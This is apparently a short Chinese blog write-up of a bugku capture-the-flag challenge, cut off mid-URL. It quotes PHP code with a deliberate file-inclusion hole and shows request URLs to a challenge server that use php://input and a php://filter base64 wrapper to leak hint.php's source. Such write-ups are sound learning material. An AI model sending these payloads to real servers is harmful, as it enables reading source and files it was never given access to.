反序列化漏洞
反序列化漏洞我以前看过很多次了,可是一直都不能理解,今天有做了一个bugku的题目,就好像突然开窍一样,所以就想记下来。
下面就是源码
<!--
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
-->
根据源码上给我的信息,我原先构造的payload其实是这样的
http://123.206.87.240:8006/test1/?txt=php://input&password=1&file=hint.php
可是不知道为什么一直出错,我到现在也不知道原因,但是如果payload的是这样的话http://123.206.87.240:8006/test1/?txt=php://input
就会有正确的显示出来
既然有正确的回显,那接下来就是要知道hint.php文件的信息了(因为代码中我看不出来啥信息了,手动捂脸)
//在这里可能就得需要用PHP的支持的协议PHP://filter
http://123.206.87.240:8006/test1/?txt=php://input&file=php://filter/read=convert.base64-encode/re